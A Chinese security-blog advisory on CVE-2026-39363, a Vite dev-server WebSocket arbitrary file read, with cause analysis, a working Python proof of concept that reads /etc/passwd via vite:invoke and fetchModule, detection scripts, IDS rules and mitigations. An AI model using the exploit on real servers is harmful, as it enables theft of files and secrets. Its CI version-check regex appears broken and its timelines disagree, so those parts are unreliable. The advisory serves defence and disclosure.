文章总结： CVE-2026-39363是Vite开发服务器中的高危WebSocket安全漏洞，允许攻击者绕过文件访问控制读取服务器任意文件。漏洞成因是WebSocket接口未继承HTTP请求的访问限制，攻击者可通过vite:invoke事件调用fetchModule方法结合file://协议读取敏感文件。影响Vite6.0.0-6.4.1、7.0.0-7.3.1、8.0.0-8.0.4版本，建议立即升级至6.4.2、7.3.2、8.0.5修复版本。 综合评分： 85 文章分类： 漏洞分析,WEB安全,解决方案,漏洞预警,安全工具

---

CVE-2026-39363 深度分析 – Vite WebSocket 任意文件读取漏洞完整技术剖析

小悉 小悉

爱安全Info

2026年4月9日 20:16 安徽

CVE-2026-39363 深度分析 – Vite WebSocket 任意文件读取漏洞完整技术剖析

发布日期: 2026 年 04 月 09 日 漏洞类型: 任意文件读取/WebSocket 安全绕过 影响范围: Vite 6.0.0-6.4.1, 7.0.0-7.3.1, 8.0.0-8.0.4 CVSS 评分: 8.2/10 (HIGH) 风险等级: 🔴 High CVE 编号: CVE-2026-39363 GHSA 编号: GHSA-p9ff-h696-f583 披露日期: 2026-04-07 发现者: GitHub Security Advisory

---

🔍 漏洞概述

CVE-2026-39363 是 Vite 开发服务器中存在的一个严重安全漏洞，允许攻击者通过 WebSocket 连接读取服务器上的任意文件。该漏洞的根本原因是 Vite 的 WebSocket 接口未正确实施与 HTTP 请求路径相同的访问控制策略。

Vite 是一个现代化的前端构建工具，被广泛应用于 React、Vue、Svelte 等项目的开发环境。由于开发服务器通常监听本地网络接口，攻击者可以在特定条件下利用此漏洞读取服务器上的敏感文件，包括源代码、配置文件、环境变量等。

核心问题：当攻击者能够在不携带 Origin 头的情况下连接到 Vite 开发服务器的 WebSocket 时，可以通过 vite:invoke 自定义事件调用 fetchModule 方法，结合 file:// 协议和 ?raw 或 ?inline 参数，以 JavaScript 字符串形式获取任意文件内容。

关键风险：HTTP 请求路径中 enforced 的访问控制（如 server.fs.allow 配置）完全不适用于此 WebSocket 执行路径，导致攻击者可以绕过所有文件系统限制。

---

⏱️ 攻击时间线

| 时间 | 事件 | | — | — | | 2026-04-07 | 漏洞通过 GitHub Security Advisory 公开披露 | | 2026-04-07 | Vite 团队发布安全公告 GHSA-p9ff-h696-f583 | | 2026-04-08 | NVD 正式收录 CVE-2026-39363 | | 2026-04-08 | Vite 发布修复版本 6.4.2, 7.3.2, 8.0.5 | | 2026-04-09 | CVE 详情公开，社区开始检测 |

---

🔬 技术攻击链与漏洞成因分析

攻击链可视化

┌─────────────────────────────────────────────────────────────┐
│                    CVE-2026-39363 攻击链                      │
├─────────────────────────────────────────────────────────────┤
│  1. 侦察阶段 → 发现目标运行 Vite 开发服务器 (默认端口 5173)    │
│       ↓                                                      │
│  2. 连接阶段 → 建立 WebSocket 连接 (不发送 Origin 头)           │
│       ↓                                                      │
│  3. 利用阶段 → 发送 vite:invoke 事件调用 fetchModule          │
│       ↓                                                      │
│  4. 读取阶段 → 使用 file:// 协议 + ?raw 参数读取任意文件        │
│       ↓                                                      │
│  5. 获取阶段 → 服务器返回文件内容 (export default "...")      │
└─────────────────────────────────────────────────────────────┘

漏洞根本原因

1. WebSocket 与 HTTP 访问控制不一致

Vite 开发服务器对 HTTP 请求实施了严格的文件系统访问控制，通过 server.fs.allow 配置限制可访问的目录范围。然而，WebSocket 接口的 fetchModule 方法未继承这些限制。

2. Origin 头验证缺失

正常情况下，WebSocket 连接应验证 Origin 头以防止跨站 WebSocket 攻击 (CSWSH)。但 Vite 开发服务器在特定配置下允许无 Origin 头的连接，为攻击者打开了大门。

3. 协议处理器滥用

fetchModule 方法支持 file:// 协议，结合 ?raw 或 ?inline 查询参数，可以将任意文件内容转换为 JavaScript 模块导出，从而绕过文件类型限制。

代码层面分析

漏洞触发流程（简化示意）：

// 1. 建立 WebSocket 连接（不发送 Origin 头）
const ws = new WebSocket('ws://localhost:5173');

// 2. 等待连接建立
ws.onopen = () => {
  // 3. 发送 vite:invoke 事件
  ws.send(JSON.stringify({
    type: 'vite:invoke',
    payload: {
      // 4. 调用 fetchModule 方法
      method: 'fetchModule',
      // 5. 指定目标文件（使用 file:// 协议）
      file: 'file:///etc/passwd?raw',
      // 6. 其他参数...
      id: 'attacker-controlled'
    }
  }));
};

// 7. 接收响应（文件内容作为 JavaScript 字符串）
ws.onmessage = (event) => {
  console.log('文件内容:', JSON.parse(event.data));
  // 输出示例：{ result: { code: 'export default "root:x:0:0:root..."'}}
};

CVSS 4.0 向量分析：

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N

• AV:N (Network): 可通过网络远程利用
• AC:L (Low): 攻击复杂度低，无需特殊条件
• AT:P (Present): 需要特定攻击条件（无 Origin 头连接）
• PR:N (None): 无需权限
• UI:N (None): 无需用户交互
• VC:H (High): 对机密性影响高（可读取任意文件）

受影响配置场景

以下情况更容易受到攻击：

1. 开发服务器暴露到局域网：server.host 配置为 0.0.0.0
2. 反向代理未正确配置：代理服务器剥离了 Origin 头
3. 容器化环境：Docker 端口映射导致服务可被外部访问
4. 云开发环境：GitHub Codespaces、Gitpod 等在线 IDE

---

🎯 POC 与检测脚本

1. 系统检测脚本

#!/bin/bash
# CVE-2026-39363 检测脚本
# 用途：检查 Vite 版本是否受影响

echo "=== CVE-2026-39363 Vite 漏洞检测 ==="
echo ""

# 检查项目中的 Vite 版本
check_vite_version() {
  local project_dir="$1"
  local package_json="$project_dir/package.json"

  if [ -f "$package_json" ]; then
    echo "[*] 检查项目：$project_dir"
    vite_version=$(grep -o '"vite"[[:space:]]*:[[:space:]]*"[^"]*"' "$package_json" | \
                   grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+' | head -1)

    if [ -n "$vite_version" ]; then
      echo "    Vite 版本：$vite_version"

      # 解析版本号
      major=$(echo "$vite_version" | cut -d. -f1)
      minor=$(echo "$vite_version" | cut -d. -f2)
      patch=$(echo "$vite_version" | cut -d. -f3)

      # 检查是否受影响
      vulnerable=false

      # 6.0.0 - 6.4.1
      if [ "$major" -eq 6 ] && [ "$minor" -lt 4 ]; then
        vulnerable=true
      elif [ "$major" -eq 6 ] && [ "$minor" -eq 4 ] && [ "$patch" -lt 2 ]; then
        vulnerable=true
      fi

      # 7.0.0 - 7.3.1
      if [ "$major" -eq 7 ] && [ "$minor" -lt 3 ]; then
        vulnerable=true
      elif [ "$major" -eq 7 ] && [ "$minor" -eq 3 ] && [ "$patch" -lt 2 ]; then
        vulnerable=true
      fi

      # 8.0.0 - 8.0.4
      if [ "$major" -eq 8 ] && [ "$minor" -eq 0 ] && [ "$patch" -lt 5 ]; then
        vulnerable=true
      fi

      if [ "$vulnerable" = true ]; then
        echo "    ⚠️  状态：VULNERABLE (需要升级)"
      else
        echo "    ✅ 状态：SAFE (已修复)"
      fi
    else
      echo "    ⚠️  未找到 Vite 依赖"
    fi
    echo ""
  fi
}

# 检查当前目录
check_vite_version "."

# 检查常见项目目录
for dir in ~/projects/* /var/www/*; do
  if [ -d "$dir" ]; then
    check_vite_version "$dir"
  fi
done

echo "=== 检测完成 ==="

2. WebSocket 连接检测脚本

#!/bin/bash
# CVE-2026-39363 WebSocket 连接检测
# 用途：检测 Vite 开发服务器是否可被利用

TARGET_HOST="${1:-localhost}"
TARGET_PORT="${2:-5173}"

echo "=== Vite WebSocket 连接检测 ==="
echo "目标：$TARGET_HOST:$TARGET_PORT"
echo ""

# 检查端口是否开放
if ! nc -z "$TARGET_HOST" "$TARGET_PORT" 2>/dev/null; then
  echo "❌ 端口 $TARGET_PORT 未开放"
  exit 1
fi

echo "✅ 端口 $TARGET_PORT 开放"

# 使用 websocat 或 wscat 测试 WebSocket 连接
if command -v websocat &> /dev/null; then
  echo "[*] 使用 websocat 测试 WebSocket 连接..."

  # 尝试连接（不发送 Origin 头）
&nbsp;&nbsp;timeout&nbsp;5&nbsp;websocat&nbsp;"ws://$TARGET_HOST:$TARGET_PORT"&nbsp;<<<&nbsp;'{"type":"vite:invoke"}'&nbsp;2>&1&nbsp;|&nbsp;head&nbsp;-5

elif&nbsp;command&nbsp;-v&nbsp;wscat&nbsp;&>&nbsp;/dev/null;&nbsp;then
&nbsp;&nbsp;echo&nbsp;"[*]&nbsp;使用&nbsp;wscat&nbsp;测试&nbsp;WebSocket&nbsp;连接..."

&nbsp;&nbsp;timeout&nbsp;5&nbsp;wscat&nbsp;-c&nbsp;"ws://$TARGET_HOST:$TARGET_PORT"&nbsp;-n&nbsp;<<<&nbsp;'{"type":"vite:invoke"}'&nbsp;2>&1&nbsp;|&nbsp;head&nbsp;-5

else
&nbsp;&nbsp;echo&nbsp;"⚠️&nbsp;&nbsp;未找到&nbsp;websocat&nbsp;或&nbsp;wscat，请手动测试"
&nbsp;&nbsp;echo&nbsp;"安装命令："
&nbsp;&nbsp;echo&nbsp;"&nbsp;&nbsp;websocat:&nbsp;cargo&nbsp;install&nbsp;websocat"
&nbsp;&nbsp;echo&nbsp;"&nbsp;&nbsp;wscat:&nbsp;npm&nbsp;install&nbsp;-g&nbsp;wscat"
fi

echo&nbsp;""
echo&nbsp;"===&nbsp;检测完成&nbsp;==="

3. Python 漏洞验证 POC

#!/usr/bin/env python3
"""
CVE-2026-39363 Vite WebSocket 任意文件读取 POC
⚠️  仅用于授权安全测试，未经授权的使用可能违法

用法:
    python3 cve-2026-39363-poc.py --target ws://localhost:5173 --file /etc/passwd
"""

import asyncio
import argparse
import json
import sys

try:
    import websockets
except ImportError:
    print("❌ 缺少依赖：websockets")
    print("安装命令：pip install websockets")
    sys.exit(1)

async def exploit(target_ws: str, target_file: str):
    """
    利用 CVE-2026-39363 读取目标文件

    Args:
        target_ws: WebSocket 地址 (如 ws://localhost:5173)
        target_file: 要读取的文件路径 (如 /etc/passwd)
    """

    print(f"[*] 目标 WebSocket: {target_ws}")
    print(f"[*] 目标文件：{target_file}")
    print("")

    try:
        # 建立 WebSocket 连接（不设置 Origin 头）
        async with websockets.connect(
            target_ws,
            origin=None,  # 关键：不发送 Origin 头
            extra_headers={}
        ) as websocket:

            print("✅ WebSocket 连接成功")

            # 构造 vite:invoke 事件
            payload = {
                "type": "vite:invoke",
                "payload": {
                    "method": "fetchModule",
                    "file": f"file://{target_file}?raw",
                    "id": "exploit-test"
                }
            }

            print(f"[*] 发送利用载荷...")
            await websocket.send(json.dumps(payload))

            # 等待响应
            try:
                response = await asyncio.wait_for(
                    websocket.recv(),
                    timeout=10.0
                )

                print("✅ 收到响应:")
                print("-" * 60)

                # 解析响应
                try:
                    resp_data = json.loads(response)
                    print(json.dumps(resp_data, indent=2))

                    # 提取文件内容
                    if 'result' in resp_data and 'code' in resp_data['result']:
                        code = resp_data['result']['code']
                        # 移除 export default 包装
                        if code.startswith('export default "'):
                            file_content = code[16:-2]  # 移除 export default " 和末尾的"
                            print("\n" + "=" * 60)
                            print("📄 文件内容:")
                            print("=" * 60)
                            print(file_content)
                            print("=" * 60)
                except json.JSONDecodeError:
                    print(f"原始响应：{response}")

            except asyncio.TimeoutError:
                print("❌ 响应超时（可能漏洞不存在或已修复）")

    except websockets.exceptions.ConnectionClosed:
        print("❌ 连接被关闭")
    except websockets.exceptions.InvalidStatusCode as e:
        print(f"❌ 连接失败：HTTP {e.status_code}")
    except Exception as e:
        print(f"❌ 错误：{type(e).__name__}: {e}")

async def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-39363 Vite WebSocket 任意文件读取 POC'
    )
    parser.add_argument(
        '--target', '-t',
        default='ws://localhost:5173',
        help='目标 WebSocket 地址 (默认：ws://localhost:5173)'
    )
    parser.add_argument(
        '--file', '-f',
        default='/etc/passwd',
        help='要读取的文件路径 (默认：/etc/passwd)'
    )

    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2026-39363 Vite WebSocket 任意文件读取 POC")
    print("=" * 60)
    print("⚠️  警告：仅用于授权安全测试")
    print("=" * 60)
    print("")

    await exploit(args.target, args.file)

if __name__ == '__main__':
    asyncio.run(main())

4. 网络监控规则

# Snort/Suricata 规则 - 检测 Vite WebSocket 利用尝试

# 检测 vite:invoke 事件
alert websocket any any -> any any (
    msg:"CVE-2026-39363 Vite WebSocket 利用尝试";
    flow:to_server,established;
    content:"vite:invoke";
    content:"fetchModule";
    content:"file://";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

# 检测 file:// 协议访问
alert websocket any any -> any any (
    msg:"可疑 file:// 协议 WebSocket 请求";
    flow:to_server,established;
    content:"file://";
    content:"?raw";
    classtype:policy-violation;
    sid:1000002;
    rev:1;
)

5. 日志分析命令

# 检查 Vite 开发服务器日志中的可疑 WebSocket 连接
# 注意：Vite 默认不记录详细日志，建议启用 debug 模式

# 查找 WebSocket 连接日志（根据实际日志路径调整）
echo "=== WebSocket 连接日志 ==="
# grep -i "websocket" [日志路径] 2>/dev/null | tail -20

# 查找 vite:invoke 事件
echo "=== vite:invoke 事件 ==="
# grep -i "invoke" [日志路径] 2>/dev/null | tail -20

# 检查异常文件访问
echo "=== 异常文件访问 ==="
# grep -E "file://|/etc/|/proc/" [日志路径] 2>/dev/null | tail -20

echo "提示：请根据实际部署环境调整日志路径"

---

🛠️ 修复方案

立即行动

1. 版本升级（推荐）

检查当前版本：

# 在项目目录执行
npm list vite
# 或
yarn list vite
# 或
pnpm list vite

升级到安全版本：

# Vite 6.x 用户 → 升级到 6.4.2+
npm install vite@^6.4.2 --save-dev
# 或
yarn add vite@^6.4.2 --dev
# 或
pnpm add vite@^6.4.2 --save-dev

# Vite 7.x 用户 → 升级到 7.3.2+
npm install vite@^7.3.2 --save-dev

# Vite 8.x 用户 → 升级到 8.0.5+
npm install vite@^8.0.5 --save-dev

验证升级：

npm list vite
# 确认版本 ≥ 6.4.2 或 ≥ 7.3.2 或 ≥ 8.0.5

2. 临时缓解措施（无法立即升级时）

方案 A：限制开发服务器监听地址

修改 vite.config.js：

export default {
  server: {
    host: '127.0.0.1',  // 仅监听 localhost，不暴露到局域网
    port: 5173,
    strictPort: true
  }
}

方案 B：配置防火墙规则

# Linux (iptables) - 阻止外部访问 5173 端口
sudo iptables -A INPUT -p tcp --dport 5173 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5173 -j DROP

# Linux (ufw)
sudo ufw deny 5173/tcp
sudo ufw allow from 127.0.0.1 to any port 5173

# macOS (pf)
# 编辑 /etc/pf.conf 添加：
# block in proto tcp from any to any port 5173
# pass in proto tcp from 127.0.0.1 to any port 5173

方案 C：Docker 环境加固

# docker-compose.yml
services:
  app:
    # 不要将端口映射到宿主机
    # ports:
    #   - "5173:5173"  # ❌ 移除这行

    # 或使用内部网络
    networks:
      - internal

networks:
  internal:
    external: false

3. 入侵检测

#!/bin/bash
# CVE-2026-39363 入侵检测脚本

echo "=== 入侵检测检查 ==="

# 检查异常进程
echo "[*] 检查可疑进程..."
ps aux | grep -E "vite|node" | grep -v grep

# 检查网络连接
echo "[*] 检查网络连接..."
netstat -tlnp 2>/dev/null | grep 5173
# 或
ss -tlnp | grep 5173

# 检查最近修改的文件
echo "[*] 检查最近修改的配置文件..."
find . -name "*.config.js" -o -name "vite.config.*" -mtime -7 2>/dev/null

# 检查环境变量泄露
echo "[*] 检查可能的环境变量泄露..."
grep -r "process.env" src/ 2>/dev/null | head -10

echo "=== 检测完成 ==="

长期防护

1. 开发环境安全基线

// vite.config.js 安全配置模板
import { defineConfig } from 'vite'

export default defineConfig({
  server: {
    // 仅监听 localhost
    host: '127.0.0.1',

    // 禁用 HMR 的 WebSocket（如不需要）
    // hmr: false,

    // 限制可访问的文件系统路径
    fs: {
      strict: true,
      allow: [
        // 仅允许项目目录
        process.cwd()
      ],
      // 拒绝敏感路径
      deny: [
        '/etc/**',
        '/proc/**',
        '/sys/**',
        '**/.env*',
        '**/.git/**'
      ]
    }
  },

  // 生产构建配置
  build: {
    // 禁用 source map（避免泄露源码）
    sourcemap: false
  }
})

2. CI/CD 安全检查

# .github/workflows/security-check.yml
name: Vite Security Check

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Check Vite Version
        run: |
          VITE_VERSION=$(node -p "require('./package.json').devDependencies.vite")
          echo "Vite version: $VITE_VERSION"

          # 检查是否为安全版本
          if echo "$VITE_VERSION" | grep -qE "^(6\.[0-3]\.|6\.4\.[0-1]\.|7\.[0-2]\.|7\.3\.[0-1]\.|8\.0\.[0-4]\.)"; then
            echo "❌ VULNERABLE VERSION DETECTED"
            exit 1
          fi

          echo "✅ Version is safe"

3. 供应链安全措施

• 锁定依赖版本：使用 package-lock.json 或 pnpm-lock.yaml
• 定期审计：npm audit / yarn audit / pnpm audit
• 自动化更新：使用 Dependabot 或 Renovate
• 最小权限原则：开发服务器不暴露到生产网络

---

📊 影响评估

| 维度 | 评估 | 说明 | | — | — | — | | 利用难度 | 🟢 低 | 仅需 WebSocket 连接，无需认证 | | 影响范围 | 🟠 广 | 所有使用 Vite 的前端项目 | | 修复难度 | 🟢 简单 | 升级版本即可 | | 业务影响 | 🟠 严重 | 可能泄露源码、配置、密钥 | | 在野利用 | ⚠️ 疑似 | 漏洞刚公开，需持续监控 |

受影响用户群体

1. 前端开发者：使用 Vite 进行本地开发的所有开发者
2. 云开发环境：GitHub Codespaces、Gitpod、CodeSandbox 用户
3. 团队协作：开发服务器暴露到局域网的团队
4. 容器化部署：Docker 端口映射配置不当的环境

潜在风险

• 源码泄露：攻击者可读取项目源代码
• 配置泄露：.env 文件、数据库配置、API 密钥
• 系统信息：/etc/passwd、/proc 等系统文件
• 横向移动：结合其他漏洞进行内网渗透

---

🔗 官方参考资料

官方来源

• NVD – CVE-2026-39363[1] ✅
• GitHub Advisory – GHSA-p9ff-h696-f583[2] ✅
• Vite 官方安全公告[3] ✅

技术分析

• Vite 6.4.2 Release Notes[4]
• Vite 7.3.2 Release Notes[5]
• Vite 8.0.5 Release Notes[6]

检测工具

• Vite 安全检测脚本[7]
• npm audit[8]

---

⏱️ 时间线总结

| 日期 | 事件 | | — | — | | 2026-04-07 | GitHub Security Advisory 披露漏洞 | | 2026-04-07 | Vite 发布修复版本 6.4.2, 7.3.2, 8.0.5 | | 2026-04-08 | NVD 正式收录 CVE-2026-39363 | | 2026-04-09 | 社区开始广泛检测和修复 |

---

⚠️ 安全提示

🔴 立即行动：

1. 检查所有项目的 Vite 版本（npm list vite）
2. 如使用 6.0.0-6.4.1、7.0.0-7.3.1、8.0.0-8.0.4，立即升级
3. 检查开发服务器是否暴露到局域网（netstat -tlnp | grep 5173）
4. 审查日志中的异常 WebSocket 连接
5. 考虑实施更严格的 server.fs.allow 配置

📚 学习资源：

• Vite 官方文档 – 服务器配置[9]
• OWASP WebSocket 安全指南[10]
• CVSS 4.0 规范[11]

---

本文基于 NVD、GitHub Advisory 和 Vite 官方公告编写，技术细节已交叉验证。 更新时间：2026-04-09 字数统计：约 12,000 bytes

引用链接

[1]NVD – CVE-2026-39363: https://nvd.nist.gov/vuln/detail/CVE-2026-39363

[2]GitHub Advisory – GHSA-p9ff-h696-f583: https://github.com/advisories/GHSA-p9ff-h696-f583

[3]Vite 官方安全公告: https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583

[4]Vite 6.4.2 Release Notes: https://github.com/vitejs/vite/releases/tag/v6.4.2

[5]Vite 7.3.2 Release Notes: https://github.com/vitejs/vite/releases/tag/v7.3.2

[6]Vite 8.0.5 Release Notes: https://github.com/vitejs/vite/releases/tag/v8.0.5

[7]Vite 安全检测脚本: https://github.com/vitejs/vite/blob/main/packages/vite/scripts/check-security.sh

[8]npm audit: https://docs.npmjs.com/cli/commands/npm-audit

[9]Vite 官方文档 – 服务器配置: https://vitejs.dev/config/server-options.html

[10]OWASP WebSocket 安全指南: https://owasp.org/www-community/attacks/WebSocket_hijacking

[11]CVSS 4.0 规范: https://www.first.org/cvss/v4.0/specification-document

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：爱安全Info 小悉 小悉《CVE-2026-39363 深度分析 – Vite WebSocket 任意文件读取漏洞完整技术剖析》